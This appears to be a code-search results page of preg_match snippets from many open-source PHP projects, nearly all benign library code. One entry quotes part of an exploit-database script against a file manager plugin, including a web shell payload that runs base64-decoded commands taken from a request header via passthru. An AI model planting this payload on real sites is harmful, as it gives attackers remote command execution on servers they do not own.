1<?php 2 35 36 require_once("$CFG->libdir/filelib.php"); 37 require_once("$CFG->libdir/resourcelib.php"); 37 require_once("$CFG->libdir/resourcelib.php"); 38 require_once("$CFG->dirroot/course/lib.php"); 39 65 66 } else if (preg_match("|$CFG->wwwroot/file.php(\?file=)?/$siteid(/[^\s'\"&\?#]+)|", $path, $matches)) { 67 // public site files 87 88 } else if (preg_match("|$CFG->wwwroot/file.php(\?file=)?/$candidate->course(/[^\s'\"&\?#]+)|", $path, $matches)) { 89 // current course files 122 // get rid of any extra url parameters, sorry we can not support these 123 preg_match("/^[^?#]+/", $path, $matches); 124 $parts = $matches[0];settings_time.php https://gitlab.com/php-fusion/PHP-Fusion.git | PHP | 139 lines
1<?php 2/*-------------------------------------------------------+ 2/*-------------------------------------------------------+ 3| PHP-Fusion Content Management System 4| Copyright (C) PHP-Fusion Inc 4| Copyright (C) PHP-Fusion Inc 5| https://www.php-fusion.co.uk/ 6+--------------------------------------------------------+ 6+--------------------------------------------------------+ 7| Filename: settings_time.php 8| Author: Nick Jones (Digitanium) 17+--------------------------------------------------------*/ 18require_once "../maincore.php"; 19pageAccess('S2'); 19pageAccess('S2'); 20require_once THEMES."templates/admin_header.php"; 21include LOCALE.LOCALESET."admin/settings.php";module.tag.id3v1.php https://gitlab.com/WPonEB/WPonEB | PHP | 381 lines
1<?php 2///////////////////////////////////////////////////////////////// 10// // 11// module.tag.id3v1.php // 12// module for analyzing ID3v1 tags // 24 if (!getid3_lib::intValueSupported($info['filesize'])) { 25 $this->warning('Unable to check for ID3v1 because file is larger than '.round(PHP_INT_MAX / 1073741824).'GB'); 26 return false; 68 foreach ($valuearray as $key => $value) { 69 if (preg_match('#^[\\x00-\\x40\\xA8\\B8\\x80-\\xFF]+$#', $value)) { 70 foreach (array('Windows-1251', 'KOI8-R') as $id3v1_bad_encoding) {generate_utf_tables.php https://bitbucket.org/enitarzi/phpbb3-gorgon.git | PHP | 571 lines
4* @package phpBB3 5* @copyright (c) 2005 phpBB Group 6* @license http://opensource.org/licenses/gpl-2.0.php GNU General Public License v2 35 36require_once($phpbb_root_path . 'includes/utf/utf_normalizer.' . $phpEx); 37$file_contents = array(); 189 190 if (!isset($p[5]) || !preg_match_all('#[0-9A-F]+#', strip_tags($p[5]), $m)) 191 { 269 270 if (!$fp = fopen($phpbb_root_path . 'includes/utf/data/' . $file . '.' . $phpEx, 'wb')) 271 { 408 echo "Writing to search_indexer_$idx.$phpEx\n"; 409 $fp = fopen($phpbb_root_path . 'includes/utf/data/search_indexer_' . $idx . '.' . $phpEx, 'wb'); 410 fwrite($fp, '<?php return ' . my_var_export($contents) . ';');capabilities.php https://github.com/weissms/owb-mirror.git | PHP | 485 lines
1<?php 2 224 function level_reduction($max, $item) { 225 if(preg_match('/^level_(10|[0-9])$/i', $item, $matches)) { 226 $level = intval($matches[1]);tuto6.htm https://bitbucket.org/glaucomunsberg/kenobi.git | HTML | 165 lines
12<div class="source"> 13<pre><code><?php 14<span class="kw">require(</span><span class="str">'fpdf.php'</span><span class="kw">); 61 { 62 if(</span>preg_match<span class="kw">(</span><span class="str">'/([^=]*)=["\']?([^"\']*)/'</span><span class="kw">,</span>$v<span class="kw">,</span>$a3<span class="kw">)) 63 </span>$attr<span class="kw">[</span>strtoupper<span class="kw">(</span>$a3<span class="kw">[</span>1<span class="kw">])] = </span>$a3<span class="kw">[</span>2<span class="kw">]; 137</div> 138<p class='demo'><a href='tuto6.php' target='_blank' class='demo'>[Demo]</a></p> 139The new method to print text is <a href='../doc/write.htm'>Write()</a>. It's very close to <a href='../doc/multicell.htm'>MultiCell()</a>; the differences are:Request.php https://gitlab.com/dkatolicky/zacatecnice | PHP | 334 lines
1<?php 2 315 rsort($langs); // first more specific 316 preg_match_all('#(' . implode('|', $langs) . ')(?:-[^\s,;=]+)?\s*(?:;\s*q=([0-9.]+))?#', $s, $matches); 317civicrm.php https://gitlab.com/virtualrealms/d7civicrm | PHP | 361 lines
1<?php 2/* 42 global $crmPath; 43 require_once $crmPath . '/CRM/Core/ClassLoader.php'; 44 CRM_Core_ClassLoader::singleton()->register(); 112 if (isset($config['seedLanguage']) 113 and preg_match('/^[a-z][a-z]_[A-Z][A-Z]$/', $config['seedLanguage']) 114 and file_exists($sqlPath . DIRECTORY_SEPARATOR . "civicrm_data.{$config['seedLanguage']}.mysql") 127 if ($installType == 'drupal') { 128 $configFile = $cmsPath . DIRECTORY_SEPARATOR . 'sites' . DIRECTORY_SEPARATOR . $siteDir . DIRECTORY_SEPARATOR . 'civicrm.settings.php'; 129 } 130 elseif ($installType == 'backdrop') { 131 $configFile = $cmsPath . DIRECTORY_SEPARATOR . 'civicrm.settings.php'; 132 } 133 elseif ($installType == 'wordpress') { 134 $configFile = $files_dirname . DIRECTORY_SEPARATOR . 'civicrm' . DIRECTORY_SEPARATOR . 'civicrm.settings.php'; 135 }Minify.php https://gitlab.com/gregtyka/lfmawordpress | PHP | 382 lines
1<?php 2 112 if (($handler = @fopen($path, 'w')) === false) { 113 throw new Exception('The file "'.$path.'" could not be opened. Check if PHP has enough permissions.'); 114 } 117 if (@fwrite($handler, $content) === false) { 118 throw new Exception('The file "'.$path.'" could not be written to. Check if PHP has enough permissions.'); 119 } 234 $match = null; 235 if (preg_match($pattern, $content, $match)) { 236 $matches[$i] = $match; 238 // we'll store the match position as well; that way, we 239 // don't have to redo all preg_matches after changing only 240 // the first (we'll still know where those others are) 324 { 325 // PHP only supports $this inside anonymous functions since 5.4 326 $minifier = $this;bot_jcalpro_latest_events.php https://gitlab.com/endomorphosis/OLAAaction | PHP | 176 lines
1<?php 2/* 24 * 25 * $Id: bot_jcalpro_latest_events.php 640 2010-05-09 09:55:43Z shumisha $ 26 * 53 // try old style, pre-version 2.1 syntax for calling plugin : {jcal_latest}cat1,cat2,cat3{/jcal_latest} 54 if (preg_match_all( $preV21RegExp, $rowContent->text, $matches, PREG_SET_ORDER) > 0) { 55 foreach( $matches as $match) { 58 $params = new JParameter($plugin->params); 59 if( is_readable(JPATH_ROOT. DS. 'components'.DS.'com_jcalpro'.DS.'include'.DS.'latest.inc.php') ) { 60 ob_start(); 61 $params->set('categories',$match[1]); 62 include( JPATH_ROOT. DS. 'components'.DS.'com_jcalpro'.DS.'include'.DS.'latest.inc.php' ); 63 $html = ob_get_contents(); 69 // new syntax as of Jcal 2.1 {jcal_latest cat=n show_description=yes ...} 70 if (preg_match_all( $regExp, $rowContent->text, $matches, PREG_SET_ORDER) > 0) { 71 foreach( $matches as $match) {UserTest.php https://gitlab.com/my-application.bjoernbartels.earth/ZfcUser | PHP | 367 lines
1<?php 2 10 11class UserTest extends \PHPUnit_Framework_TestCase 12{ 95 foreach ($queryStack as $query) { 96 if (!preg_match('/\S+/', $query)) { 97 continue;preg_match.js https://gitlab.com/orvi2014/phpjs | JavaScript | 208 lines
1function preg_match(pattern, subject, matches, flags, offset) { 2 // http://kevin.vanzonneveld.net 5 // * example 1: matches = []; 6 // * example 1: preg_match(/(\w+)\W([\W\w]+)/, 'this is some text', matches); 7 // * matches 1: matches[1] == 'this' 12 // Before finding this, I was working on a script to search through an SQLite database to build our Unicode expressions automatically; I may finish that as it should be expandable for the future, and be an extra eye to confirm Steve's work 13 // Also need to look at/integrate with Michael Grier's http://mgrier.com/te5t/preg_match_all.js ; http://mgrier.com/te5t/testpma.html ; http://mgrier.com/te5t/testpma.php 14 39 flagPart = pattern.slice(lastDelimPos + 1); 40 // Fix: Need to study http://php.net/manual/en/regexp.reference.php more thoroughly 41 // e.g., internal options i, m, s, x, U, X, J; conditional subpatterns?, comments, recursive subpatterns, 44 switch (flag) { 45 case 'g': // We don't use this in preg_match, but it's presumably not an error 46 case 'm': 49 break; 50 case 'e': // used in preg_replace only but ignored elsewhere; "does normal substitution of backreferences in the replacement string, evaluates it as PHP code, and uses the result for replacing the search string". "Single quotes, double quotes, backslashes and NULL chars will be escaped by backslashes in substituted backreferences." 51 // Safely ignorable18111.php https://bitbucket.org/DinoRex99/exploit-database.git | PHP | 157 lines
17 18 [-] vulnerable code in /fws/addons/tinymce/jscripts/tiny_mce/plugins/ajaxfilemanager/ajax_save_name.php 19 43 Like my recently discovered vulnerability (http://www.exploit-db.com/exploits/18075/), this function 44 writes into a file called 'data.php' so an attacker could be able to execute arbitrary PHP code. 45 82 83 if (!preg_match('/currentFolderPath" value="([^"]*)"/', http_send($host, $packet), $m)) die("\n[-] Root folder path not found!\n"); 84 return $m[1]; 111 print "\nExample....: php $argv[0] localhost /"; 112 print "\nExample....: php $argv[0] localhost /wordpress/\n"; 113 die(); 119$rootdir = get_root_dir(); 120$phpcode = "<?php error_reporting(0);print(_code_);passthru(base64_decode(\$_SERVER[HTTP_CMD]));die; ?>"; 121SqliteSchema.php https://gitlab.com/0072016/0072016-fbphp | PHP | 483 lines
1<?php 2/** 2/** 3 * CakePHP(tm) : Rapid Development Framework (http://cakephp.org) 4 * Copyright (c) Cake Software Foundation, Inc. (http://cakefoundation.org) 10 * @copyright Copyright (c) Cake Software Foundation, Inc. (http://cakefoundation.org) 11 * @link http://cakephp.org CakePHP(tm) Project 12 * @since 3.0.0 12 * @since 3.0.0 13 * @license http://www.opensource.org/licenses/mit-license.php MIT License 14 */ 44 { 45 preg_match('/(unsigned)?\s*([a-z]+)(?:\(([0-9,]+)\))?/i', $column, $matches); 46 if (empty($matches)) { 172 // Remove quotes 173 if (preg_match("/^'(.*)'$/", $default, $matches)) { 174 return str_replace("''", "'", $matches[1]);validate.php https://bitbucket.org/cisash/fananeen.git | PHP | 422 lines
1<?php 2require_once dirname(__FILE__) . '/validation-cakephp.php'; 3 63 array($v, $value)); 64 // Use CakePHP method 65 } else if ((isset(self::$_cake_aliases[$method]) 149 { 150 // Set outside in /admin.php 151 self::$messages = wpcf_admin_validation_messages(); 241 { 242 if (preg_match('#[^a-zA-Z0-9\/\_\-\%]#', $value) === false) { 243 return array(Request.php https://bitbucket.org/Ebozavrik/test-application.git | PHP | 466 lines
1<?php 2/** 23 */ 24require_once 'Zend/XmlRpc/Value.php'; 25 28 */ 29require_once 'Zend/XmlRpc/Fault.php'; 30 45 * @license http://framework.zend.com/license/new-bsd New BSD License 46 * @version $Id: Request.php 25033 2012-08-17 19:50:08Z matthew $ 47 */ 143 { 144 if (!is_string($method) || !preg_match('/^[a-z0-9_.:\/]+$/i', $method)) { 145 $this->_fault = new Zend_XmlRpc_Fault( 634, 'Invalid method name ("' . $method . '")' ); 321 if ($child->nodeType === XML_DOCUMENT_TYPE_NODE) { 322 require_once 'Zend/XmlRpc/Exception.php'; 323 throw new Zend_XmlRpc_Exception(Console.php https://github.com/ddvorak/HSU-Moodle.git | PHP | 481 lines
1<?php 2/** 16 * @license http://framework.zend.com/license/new-bsd New BSD License 17 * @version $Id: Console.php 12233 2008-11-01 00:11:01Z dasprid $ 18 */ 22 */ 23require_once 'Zend/ProgressBar/Adapter.php'; 24 152 if (!defined('STDOUT')) { 153 $this->_stdout = fopen('php://stdout', 'w'); 154 } 183 if ($width === null || !is_integer($width)) { 184 if (substr(PHP_OS, 0, 3) === 'WIN') { 185 // We have to default to 79 on windows, because the windows 194 // Try to determine the width through stty 195 if (preg_match('#\d+ (\d+)#', @shell_exec('stty size'), $match) === 1) { 196 $this->_width = (int) $match[1];rss-importer.php https://bitbucket.org/babinkochana/triptrills.git | PHP | 227 lines
1<?php 2/* 17// Load Importer API 18require_once ABSPATH . 'wp-admin/includes/import.php'; 19 20if ( !class_exists( 'WP_Importer' ) ) { 21 $class_wp_importer = ABSPATH . 'wp-admin/includes/class-wp-importer.php'; 22 if ( file_exists( $class_wp_importer ) ) 60 echo '<p>'.__('Howdy! This importer allows you to extract posts from an RSS 2.0 file into your WordPress site. This is useful if you want to import your posts from a system that is not handled by a custom import tool. Pick an RSS file to upload and click Import.', 'rss-importer').'</p>'; 61 wp_import_upload_form("admin.php?import=rss&step=1"); 62 echo '</div>'; 76 77 preg_match_all('|<item>(.*?)</item>|is', $importdata, $this->posts); 78 $this->posts = $this->posts[1]; 80 foreach ($this->posts as $post) { 81 preg_match('|<title>(.*?)</title>|is', $post, $post_title); 82 $post_title = str_replace(array('<![CDATA[', ']]>'), '', $wpdb->escape( trim($post_title[1]) ));MysqlSchemaParser.php https://bitbucket.org/aagraz/propel.git | PHP | 427 lines
1<?php 2 10 11require_once dirname(__FILE__) . '/../BaseSchemaParser.php'; 12 190 $/x'; 191 if (preg_match($regexp, $row['Type'], $matches)) { 192 $nativeType = $matches[1]; 210 } 211 } elseif (preg_match('/^(\w+)\(/', $row['Type'], $matches)) { 212 $nativeType = $matches[1]; 220 //BLOBs can't have any default values in MySQL 221 $default = preg_match('~blob|text~', $nativeType) ? null : $row['Default']; 222 283 $regEx = '/CONSTRAINT `([^`]+)` FOREIGN KEY \((.+)\) REFERENCES `([^`]*)` \((.+)\)(.*)/'; 284 if (preg_match_all($regEx, $row[1], $matches)) { 285 $tmpArray = array_keys($matches[0]);VersionInformation.php https://bitbucket.org/dprograma/laravelweb.git | PHP | 228 lines
12 13if (!defined('PHPMYADMIN')) { 14 exit; 44 $save = true; 45 $file = 'https://www.phpmyadmin.net/home_page/version.json'; 46 $response = Util::httpRequest($file, "GET"); 136 * Returns the version and date of the latest phpMyAdmin version compatible 137 * with the available PHP and MySQL versions 138 * 145 foreach ($releases as $release) { 146 $phpVersions = $release->php_versions; 147 $phpConditions = explode(",", $phpVersions); 148 foreach ($phpConditions as $phpCondition) { 149 if (! $this->evaluateVersionCondition("PHP", $phpCondition)) { 150 continue 2;Helper.php https://gitlab.com/x33n/ImpressPages | PHP | 233 lines
1<?php 2/** 195 $url = $page->getRedirectUrl(); 196 if (!preg_match('/^((http|https):\/\/)/i', $url)) { 197 $url = 'http://' . $url;satellite-server.cpp https://gitlab.com/Blueprint-Marketing/hhvm | C++ | 228 lines
2 +----------------------------------------------------------------------+ 3 | HipHop for PHP | 4 +----------------------------------------------------------------------+ 6 +----------------------------------------------------------------------+ 7 | This source file is subject to version 3.01 of the PHP license, | 8 | that is bundled with this package in the file LICENSE, and is | 9 | available through the world-wide-web at the following url: | 10 | http://www.php.net/license/3_01.txt | 11 | If you did not receive a copy of the PHP license and are unable to | 12 | obtain it through the world-wide-web, please send a note to | 13 | license@php.net so we can mail you a copy immediately. | 14 +----------------------------------------------------------------------+ 16 17#include "hphp/runtime/server/satellite-server.h" 18#include "hphp/runtime/server/http-request-handler.h"HtmlDumperTest.php https://gitlab.com/judielsm/Handora | PHP | 152 lines
1<?php 2 19 */ 20class HtmlDumperTest extends \PHPUnit_Framework_TestCase 21{ 23 { 24 require __DIR__.'/Fixtures/dumb-var.php'; 25 25 26 $dumper = new HtmlDumper('php://output'); 27 $dumper->setDumpHeader('<foo></foo>'); 43 $var['file'] = htmlspecialchars($var['file'], ENT_QUOTES, 'UTF-8'); 44 $intMax = PHP_INT_MAX; 45 preg_match('/sf-dump-\d+/', $out, $dumpId); 50 51 if (PHP_VERSION_ID >= 50400) { 52 $closure54 = <<<EOTXTclass-destination-folder.php https://bitbucket.org/cesarmedrano/cesarmedrano.git | PHP | 228 lines
1<?php 2/** 40 ?> 41 <h3 class="title"><?php _e( 'Backup settings', 'backwpup' ); ?></h3> 42 <p></p> 44 <tr valign="top"> 45 <th scope="row"><label for="idbackupdir"><?php _e( 'Folder to store backups in', 'backwpup' ); ?></label></th> 46 <td> 46 <td> 47 <input name="backupdir" id="idbackupdir" type="text" value="<?php echo esc_attr( BackWPup_Option::get( $jobid, 'backupdir' ) ); ?>" class="regular-text" /> 48 </td> 50 <tr valign="top"> 51 <th scope="row"><?php _e( 'File Deletion', 'backwpup' ); ?></th> 52 <td> 52 <td> 53 <?php 54 if ( BackWPup_Option::get( $jobid, 'backuptype' ) == 'archive' ) {Sniffer.php https://bitbucket.org/timgws/full-text-rss.git | PHP | 325 lines
1<?php 2/** 4 * 5 * A PHP-Based RSS and Atom Feed Framework. 6 * Takes the hard work out of managing a complete RSS/Atom solution. 41 * @link http://simplepie.org/ SimplePie 42 * @license http://www.opensource.org/licenses/bsd-license.php BSD License 43 * @todo phpDoc comments 150 } 151 elseif (preg_match('/[\x00-\x08\x0E-\x1A\x1C-\x1F]/', $this->file->body)) 152 {Batch.php https://gitlab.com/cakephp-2-x-plugins/zendframework.git | PHP | 241 lines
1<?php 2/** 131 if (count($this->_operations) > 0) { 132 require_once 'Zend/Service/WindowsAzure/Exception.php'; 133 throw new Zend_Service_WindowsAzure_Exception("Select operations can only be performed in an empty batch transaction."); 200 $errors = null; 201 preg_match_all('/<message (.*)>(.*)<\/message>/', $response->getBody(), $errors); 202 204 if (count($errors[2]) > 0) { 205 require_once 'Zend/Service/WindowsAzure/Exception.php'; 206 throw new Zend_Service_WindowsAzure_Exception('An error has occured while committing a batch: ' . $errors[2][0]);Db.php https://github.com/guiohm/magento-french.git | PHP | 415 lines
1<?php 2/** 9 * It is also available through the world-wide-web at this URL: 10 * http://opensource.org/licenses/osl-3.0.php 11 * If you did not receive a copy of the license and are unable to 23 * @copyright Copyright (c) 2009 Irubin Consulting Inc. DBA Varien (http://www.varien.com) 24 * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) 25 */ 120 $matches = array(); 121 preg_match_all($regExp, $row['Create Table'], $matches, PREG_SET_ORDER); 122PhpSecInfo.php https://github.com/quarkness/piwik.git | PHP | 591 lines
31 */ 32define ('PHPSECINFO_URL', 'http://phpsecinfo.com'); 33 58 * <code> 59 * <?php require_once(PHPSECINFO_BASE_DIR.'/PhpSecInfo.php'); ?> 60 * <?php phpsecinfo(); ?> 67 * <code> 68 * require_once(PHPSECINFO_BASE_DIR.'/PhpSecInfo.php'); 69 * // instantiate the class 208 } else { /* Use defaults */ 209 $this->setViewDirectory(dirname(__FILE__).DIRECTORY_SEPARATOR . PHPSECINFO_VIEW_DIR_DEFAULT); 210 if (!strcasecmp(PHP_SAPI, 'cli')) { 243 include_once $this_dir->path.DIRECTORY_SEPARATOR.$entry; 244 $classNames[] = "PhpSecInfo_Test_".$test_dir."_".basename($entry, '.php'); 245 }notificationmail.class.php https://github.com/ardowz/Thesis-SideB.git | PHP | 250 lines
39 40require_once(GLPI_PHPMAILER_DIR . "/class.phpmailer.php"); 41 42/** 43 * NotificationMail class extends phpmail and implements the NotificationInterface 44**/ 44**/ 45class NotificationMail extends phpmailer implements NotificationInterface { 46 133 $isValid = false; 134 } else if (preg_match('/\\.\\./', $local)) { 135 // local part has two consecutive dots 158 159 } else if (!preg_match('/\\./', $domain) || !preg_match("/[a-zA-Z0-9]$/", $domain)) { 160 // domain has no dots or do not end by alphenum charSF_TemplateInForm.php https://github.com/ChuguluGames/mediawiki-svn.git | PHP | 204 lines
1<?php 2/** 53 // that map a property onto a list. 54 if ( $ret = preg_match_all( '/{{#arraymap:{{{([^|}]*:?[^|}]*)[^\[]*\[\[([^:]*:?[^:]*)::/mis', $templateText, $matches ) ) { 55 foreach ( $matches[1] as $i => $field_name ) { 62 } elseif ( $ret === false ) { 63 // There was an error in the preg_match_all() 64 // call - let the user know about it. 65 if ( preg_last_error() == PREG_BACKTRACK_LIMIT_ERROR ) { 66 print 'Semantic Forms error: backtrace limit exceeded during parsing! Please increase the value of <a href="http://www.php.net/manual/en/pcre.configuration.php#ini.pcre.backtrack-limit">pcre.backtrack-limit</a> in the PHP settings.'; 67 } 70 // Second, look for normal property calls. 71 if ( preg_match_all( '/\[\[([^:|\[\]]*:*?[^:|\[\]]*)::{{{([^\]\|}]*).*?\]\]/mis', $templateText, $matches ) ) { 72 foreach ( $matches[1] as $i => $propertyName ) { 83 // (thankfully, they have basically the same syntax). 84 if ( preg_match_all( '/#(set|set_internal):(.*?}}})\s*}}/mis', $templateText, $matches ) ) { 85 foreach ( $matches[2] as $i => $match ) {AddressRule.php https://github.com/yinhm/sugarcrm.git | PHP | 153 lines
1<?php 2if(!defined('sugarEntry') || !sugarEntry) die('Not A Valid Entry Point'); 38/** 39 * AddressRule.php 40 * 48 49require_once('include/SugarFields/Parsers/Rules/BaseRule.php'); 50 76 $field = is_array($column) ? $column['name'] : $column; 77 preg_match('/^(.*?)_address_/si', $field, $matches); 78Atom.php https://github.com/Zefiryn/graduationprojects.git | PHP | 444 lines
1<?php 2/** 18 * @license http://framework.zend.com/license/new-bsd New BSD License 19 * @version $Id: Atom.php 23775 2011-03-01 17:25:24Z ralph $ 20 */ 24 */ 25require_once 'Zend/Feed/Writer/Renderer/RendererAbstract.php'; 26 26 27require_once 'Zend/Feed/Writer/Renderer/Feed/Atom/Source.php'; 28 93 if(!$this->getDataContainer()->getTitle()) { 94 require_once 'Zend/Feed/Exception.php'; 95 $message = 'Atom 1.0 entry elements MUST contain exactly one' 142 if(!$this->getDataContainer()->getDateModified()) { 143 require_once 'Zend/Feed/Exception.php'; 144 $message = 'Atom 1.0 entry elements MUST contain exactly one'Base.php https://gitlab.com/jamie/ussocialforum.git | PHP | 245 lines
1<?php 2/* 218 foreach ($excludeStrings as $string) { 219 if (preg_match('/(\s' . $string . ')|(' . $string . '\s)/i', $sql)) { 220 CRM_Core_Error::fatal(ts('Found illegal \'%1\' string in SQL clause.',404.php https://gitlab.com/iulian/immigration-australia-forum.git | PHP | 251 lines
1<?php 2/** 36 37if(THIS_SCRIPT == "misc.php" 38 && $mybb->input['google_seo_error'] == "404") 42 // Set the 404 error location 43 $location = 'misc.php?google_seo_error=404'; 44 136 137 if(preg_match("#^{$pattern}\$#", $label)) 138 { 240 // Check if this user is on a 404 page. 241 if(strpos($p['user_activity']['location'], "misc.php?google_seo_error=404") === 0) 242 {Node.php https://bitbucket.org/audax/testmaker-mod | PHP | 275 lines
1<?php 2 69 $id = str_replace (' ', '', $id); 70 if (!preg_match('/^[0-9]+$/', $id)) 71 {Date.php https://gitlab.com/LisovyiEvhenii/ismextensions | PHP | 288 lines
1<?php 2/** 9 * It is also available through the world-wide-web at this URL: 10 * http://opensource.org/licenses/osl-3.0.php 11 * If you did not receive a copy of the license and are unable to 23 * @copyright Copyright (c) 2006-2016 X.commerce, Inc. and affiliates (http://www.magento.com) 24 * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) 25 */ 266 $mask = array_shift($regRule); 267 if (!preg_match($regex, $dateTimeString, $matches)) { 268 Mage::throwException(Mage::helper('core')->__('Specified date/time "%1$s" do not match format "%2$s".', $dateTimeString, $dateTimeFormat));Ntriples.php https://gitlab.com/reasonat/test8 | PHP | 211 lines
1<?php 2 34 * @copyright Copyright (c) 2009-2013 Nicholas J Humfrey 35 * @license http://www.opensource.org/licenses/bsd-license.php 36 */ 38/** 39 * A pure-php class to parse N-Triples with no dependancies. 40 * 42 * @copyright Copyright (c) 2009-2013 Nicholas J Humfrey 43 * @license http://www.opensource.org/licenses/bsd-license.php 44 */ 76 77 while (preg_match('/\\\(U)([0-9A-F]{8})/', $str, $matches) || 78 preg_match('/\\\(u)([0-9A-F]{4})/', $str, $matches)) { 107 { 108 if (preg_match('/<([^<>]+)>/', $sub, $matches)) { 109 return $this->unescapeString($matches[1]);voucher_theme.php https://bitbucket.org/DidenkoDima/opta.git | PHP | 152 lines
1<?php 2class ModelSaleAqeVoucherTheme extends Model { 122 if ($date) { 123 if (preg_match('/^(!=|<>)\s*(\d{2,4}-\d{1,2}-\d{1,2})$/', html_entity_decode(trim($filter)), $matches) && count($matches) == 3) { 124 return "DATE($field) <> DATE('" . $matches[2] . "')"; 124 return "DATE($field) <> DATE('" . $matches[2] . "')"; 125 } else if (preg_match('/^(\d{2,4}-\d{1,2}-\d{1,2})\s*(<|<=)\s*(\d{2,4}-\d{1,2}-\d{1,2})$/', html_entity_decode(trim($filter)), $matches) && count($matches) == 4 && strtotime($matches[1]) <= strtotime($matches[3])) { 126 return "DATE('" . $matches[1] . "') ${matches[2]} DATE($field) AND DATE($field) ${matches[2]} DATE('" . $matches[3] . "')"; 126 return "DATE('" . $matches[1] . "') ${matches[2]} DATE($field) AND DATE($field) ${matches[2]} DATE('" . $matches[3] . "')"; 127 } else if (preg_match('/^(\d{2,4}-\d{1,2}-\d{1,2})\s*(>|>=)\s*(\d{2,4}-\d{1,2}-\d{1,2})$/', html_entity_decode(trim($filter)), $matches) && count($matches) == 4 && strtotime($matches[1]) >= strtotime($matches[3])) { 128 return "DATE('" . $matches[1] . "') ${matches[2]} DATE($field) AND DATE($field) ${matches[2]} DATE('" . $matches[3] . "')"; 128 return "DATE('" . $matches[1] . "') ${matches[2]} DATE($field) AND DATE($field) ${matches[2]} DATE('" . $matches[3] . "')"; 129 } else if (preg_match('/^(<|<=|>|>=)\s*(\d{2,4}-\d{1,2}-\d{1,2})$/', html_entity_decode(trim($filter)), $matches) && count($matches) == 3) { 130 return "DATE($field) ${matches[1]} DATE('" . $matches[2] . "')"; 130 return "DATE($field) ${matches[1]} DATE('" . $matches[2] . "')"; 131 } else if (preg_match('/^(\d{2,4}-\d{1,2}-\d{1,2})\s*(>|>=|<|<=)$/', html_entity_decode(trim($filter)), $matches) && count($matches) == 3) { 132 return "DATE('" . $matches[1] . "') ${matches[2]} DATE($field)";lib.php https://github.com/kpike/moodle.git | PHP | 204 lines
1<?php 2 117 $filename = clean_param($_FILES[$elname]['name'], PARAM_FILE); 118 if (preg_match('/\.([a-z0-9]+)$/i', $filename, $match)) { 119 if (isset($match[1])) { 123 $ext = !empty($ext) ? $ext : ''; 124 if (preg_match('#\.(' . $ext . ')$#i', $saveas_filename)) { 125 // saveas filename contains file extension alreadystr.php https://bitbucket.org/shadywallas/user-management-system.git | PHP | 350 lines
1<?php namespace Laravel; 2 152 153 preg_match('/^\s*+(?:\S++\s*+){1,'.$words.'}/u', $value, $matches); 154 325 326 return preg_match('#'.$pattern.'#', $value); 327 }DelegatingValidator.php https://github.com/Exercise/symfony.git | PHP | 280 lines
1<?php 2 89 foreach ($mapping as $mappedPath => $child) { 90 if (preg_match($mappedPath, $propertyPath)) { 91 $child->addError($error);login_check.php https://github.com/OmIkRoNiXz/nconf-1.2.6-1.git | PHP | 230 lines
1<?php 2// USER login default 28 # if encryption is also in password, it has to be in UPPERCASE ( {crypt} -> {CRYPT}, {MD5} etc... 29 if ( preg_match('/(^\{.*\})(.*)/', $password, $matched) ){ 30 # will find [0]:whole string, [1]:crypt type, [2]:password 51 //Read file 52 $filename = "config/.file_accounts.php"; 53 if ( (file_exists($filename)) AND ( $file = fopen($filename, "r") ) ){ 55 # Do not use commented rows(#) or blank rows 56 if ( $row != "" AND !preg_match("/^\s*(#|\/\*|\*\/|<\?|\?>)/", $row) ){ 57 $user = explode("::", $row);blog-video.php https://gitlab.com/tylerjheslop/acaneandwickerfixer | PHP | 125 lines
15?> 16<article id="post_<?php echo esc_attr($post_id); ?>" <?php post_class('cs-post-item cs-post-'.get_post_format()); ?>> 17 <?php 33 ?> 34 <?php 35 40 <div class="cs-colorbox-popup hidden"> 41 <?php 42 switch ($video_source) { 84 <div class="cs-recent-post-meta"> 85 <?php if($show_category):?> 86 <?php 106 <div class="cs-recent-post-title"> 107 <<?php echo $heading;?> class="entry-title"><a href="<?php the_permalink(); ?>" rel="bookmark" title="<?php the_title(); ?>"><?php the_title(); ?></a></<?php echo $heading;?>> 108 </div>class-wc-eval-math.php https://gitlab.com/webkod3r/tripolis | PHP | 367 lines
1<?php 2if ( ! defined( 'ABSPATH' ) ) { 59 // is it a variable assignment? 60 if ( preg_match( '/^\s*([a-z]\w*)\s*=\s*(.+)$/', $expr, $matches ) ) { 61 if ( in_array( $matches[1], self::$vb ) ) { // make sure we're not assigning to a constant 68 // is it a function assignment? 69 } elseif ( preg_match( '/^\s*([a-z]\w*)\s*\(\s*([a-z]\w*(?:\s*,\s*[a-z]\w*)*)\s*\)\s*=\s*(.+)$/', $expr, $matches ) ) { 70 $fnn = $matches[1]; // get the function name 77 $token = $stack[$i]; 78 if ( preg_match( '/^[a-z]\w*$/', $token ) and !in_array( $token, $args ) ) { 79 if ( array_key_exists( $token, self::$v ) ) { 114 115 if ( preg_match( "/[^\w\s+*^\/()\.,-]/", $expr, $matches ) ) { // make sure the characters are all good 116 return self::trigger( "illegal character '{$matches[0]}'" ); 121 // find out if we're currently at the beginning of a number/variable/function/parenthesis/operand 122 $ex = preg_match( '/^([A-Za-z]\w*\(?|\d+(?:\.\d*)?|\.\d+|\()/', substr( $expr, $index ), $match ); 123 //===============readmes.inc.php https://gitlab.com/Gashler/sg | PHP | 233 lines
1<?php 2/** 62 if (!function_exists ("NC_Markdown")) 63 include_once dirname (dirname (__FILE__)) . "/externals/markdown/nc-markdown.inc.php"; 64 70 { 71 preg_match ("/(\=\= )(" . preg_quote ($specific_section, "/") . ")( \=\=)(.+?)([\r\n]+\=\= |$)/si", $rm, $m); 72 101 { 102 $rm = preg_replace ("/\<pre\>\<code\>/i", '<pre lang="php" escaped="true">', $rm); 103 $rm = preg_replace ("/\<\/code\>\<\/pre\>/i", '</pre>', $rm); 153 { 154 $rm = preg_replace ("/\<pre\>\<code\>/i", '<pre lang="php" escaped="true">', $rm); 155 $rm = preg_replace ("/\<\/code\>\<\/pre\>/i", '</pre>', $rm); 225 226 preg_match ("/(^)(" . preg_quote ($key, "/") . ")(\:)( )(.+?)($)/m", $readme[$path], $m); 227task.php https://gitlab.com/alexprowars/bitrix | PHP | 534 lines
